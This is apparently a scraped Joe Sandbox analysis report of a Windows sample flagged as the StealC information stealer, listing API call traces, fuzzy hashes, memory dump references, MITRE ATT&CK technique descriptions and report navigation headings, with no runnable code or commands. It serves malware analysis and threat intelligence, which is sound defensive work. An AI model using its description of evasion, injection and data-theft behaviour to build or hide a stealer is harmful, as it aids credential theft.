Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 189a001369ec40fbfb189ea411e583d18e8c2a311d9de4f0bd41e63b45e901ed
Instruction ID: e44d59ee04860fd7b8ef20eaa497dcf880ee81561addbb3592c7221c4490ee5d
Opcode Fuzzy Hash: 189a001369ec40fbfb189ea411e583d18e8c2a311d9de4f0bd41e63b45e901ed
Instruction Fuzzy Hash: F0F06D36D052079BDB21BFB85E07F5D37A0AF00724F25414DF418A62D2DB685940FE96

Function 00FC4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FC4F7A
lstrcat.KERNEL32(?,00FD1070), ref: 00FC4F97
lstrcat.KERNEL32(?,00DE8DA8), ref: 00FC4FAB
lstrcat.KERNEL32(?,00FD1074), ref: 00FC4FBD

Part of subcall function 00FC4910: wsprintfA.USER32 ref: 00FC492C
Part of subcall function 00FC4910: FindFirstFileA.KERNEL32(?,?), ref: 00FC4943

Part of subcall function 00FC4910: StrCmpCA.SHLWAPI(?,00FD0FDC), ref: 00FC4971
Part of subcall function 00FC4910: StrCmpCA.SHLWAPI(?,00FD0FE0), ref: 00FC4987
Part of subcall function 00FC4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00FC4B7D
Part of subcall function 00FC4910: FindClose.KERNEL32(000000FF), ref: 00FC4B92

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 2d375f0c279aaf0fa5be937e5b92d281f7019e298bb4b00aa7eb6874566c908a
Instruction ID: a01b349b13e2008086b99d12f77d1b03e12d7afa07ba86e3118ab4a7ac174515
Opcode Fuzzy Hash: 2d375f0c279aaf0fa5be937e5b92d281f7019e298bb4b00aa7eb6874566c908a
Instruction Fuzzy Hash: C521A47690020867C768FBA0EC46FE9333CAB54700F00455CB65D97185EEBCAAC99BA2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00FC9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00FB45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00FB4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00FC9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00FB6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00FC5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00FC17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00FC7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00FC69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00FB1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00FC6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00FB47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00FC51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON